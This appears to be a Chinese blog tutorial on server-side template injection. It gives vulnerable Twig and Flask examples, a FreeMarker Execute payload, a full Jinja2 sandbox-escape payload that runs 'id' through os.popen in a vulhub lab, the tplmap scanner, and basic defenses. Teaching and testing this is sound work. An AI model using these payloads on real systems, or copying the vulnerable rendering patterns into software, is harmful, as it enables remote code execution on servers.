SSTI漏洞初手入门

目录

0x01 什么是SSTI

0x02 漏洞存在位置

0x03 漏洞如何发掘检测

0x04 漏洞复现

0X05 防御方法 


0x01 什么是SSTI

        SSTI,即服务器端模板注入(Server-Side Template Injection)。攻击者在服务器输入语句,服务端将其作为Web应用模板内容的一部分,在进行目标编译渲染的过程中,进行了语句的拼接,执行了所插入的恶意内容,从而导致信息泄露、代码执行、GetShell等问题。

补充:

        1)模板引擎是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的文档,就是将模板文件和数据通过模板引擎生成一个HTML代码。

        2)模板注入请不要认为只存在于 Python 中,凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是。

0x02 漏洞存在位置

常见的模板引擎:

1、php 常用的
--Smarty
	Smarty算是一种很老的PHP模板引擎了,非常的经典,使用的比较广泛
--Twig
	Twig是来自于Symfony的模板引擎,它非常易于安装和使用。它的操作有点像Mustache和liquid。
--Blade
    Blade 是 Laravel 提供的一个既简单又强大的模板引擎。
			
2、Java 常用的
--JSP
    这个引擎我想应该没人不知道吧,这个应该也是我最初学习的一个模板引擎,非常的经典
--FreeMarker
    FreeMarker是一款模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页、电子邮件、配置文件、源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。
--Velocity
    Velocity作为历史悠久的模板引擎不单单可以替代JSP作为Java Web的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力。
			
3、Python 常用的
--Jinja2
    flask jinja2 一直是一起说的,使用非常的广泛,是我学习的第一个模板引擎
--django
    django 应该使用的是专属于自己的一个模板引擎,我这里姑且就叫他 django,我们都知道 django 以快速开发著称,有自己好用的ORM,他的很多东西都是耦合性非常高的,你使用别的就不能发挥出 django 的特性了
--tornado
    tornado 也有属于自己的一套模板引擎,tornado 强调的是异步非阻塞高并发

SSTI 产生实例:

1)PHP 实例

<?php
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
			
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET['name']}");   // 将用户输入作为模版内容的一部分
echo $output;

开发者将用户的输入直接放在要渲染的字符串中了,  {}括号实际上只是为了区分变量和字符串常量而已。我们输入{{xxx}}就非常的符合模板的规则,模板引擎未经思考就给解析了,然后服务器就无了。

2)Python 实例

@app.errorhandler(404)
def page_not_found(e):
    template = '''{%% extends "layout.html" %%}
    {%% block body %%}
    <div class="center-content error">
    <h1>Oops! That page doesn't exist.</h1>
    <h3>%s</h3>
    </div>
    {%% endblock %%}
    ''' % (request.url)   //使用了一个字符串的格式化来传递一个 url 
    return render_template_string(template), 404  // 用模板的方式去渲染的

 发现持模板引擎支持的语法,我们就能在URL后面跟上{{ 7*7 }},自然而然就能计算出 49 了。

3)JAVA 实例

在2015年的blackhat 大会上曾讲述了Alfresco 的一个 SSTI 漏洞,简单的payload 分析一下。

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }

这里面的 ?new() 是其高级内置函数,相当于调用了构造函数创建了一个对象,那么这个 payload 中就是调用的 freemarker 的内置执行命令的对象Execute

结果:uid=119(tomcat7) gid=127(tomcat7) groups=127(tomcat7)

0x03 漏洞如何发掘检测

1)如同SQL 注入检测,XSS 检测一样,模板注入漏洞的检测也是传递特定 Payload的参数并根据返回的内容来判断是否存在的。每一个模板引擎都有着自己的语法,就如同 SQL 注入中有着不同的数据库类型一样。

2)可按照下面的图进行测试,从而判断出是那个模板引擎,再去找对应的payload:

 3)注意:有的时候出现 XSS 的时候,也有可能是 SSTI 漏洞,虽说模板引擎在大多数情况下都是使用的xss 过滤的,但是也不排除有些意外情况的出现,比如有的模板引擎(比如 jinja2)在渲染的时候默认只针对特定的文件后缀名的文件(html,xhtml等)进行XSS过滤。

4)提供一个大牛写的 SSTI 的检测工具 tplmap https://github.com/epinna/tplmap 

     项目中附带有docker环境,可供学习和熟悉 ----------- tplmap

0x04 漏洞复现

用vulhub上的一个环境来复现Flask的SSTI漏洞

1)docker环境搭建

        cd /vulhub-master/flask/ssti

        docker-compose up -d

2)注入检测

手工检测:

 上述工具检测:

 3)漏洞利用

官方给的漏洞利用方法:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
	{% for b in c.__init__.__globals__.values() %}
	{% if b.__class__ == {}.__class__ %}
        {% if 'eval' in b.keys() %}
		    {{ b['eval']('__import__("os").popen("id").read()') }}
        {% endif %}
    {% endif %}
    {% endfor %}
{% endif %}
{% endfor %}

结果如下:

0X05 防御方法 

1)和其他的注入防御一样,绝对不要让用户对传入模板的内容或者模板本身进行控制

2)减少或者放弃直接使用格式化字符串结合字符串拼接的模板渲染方式,使用正规的模板渲染方法

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值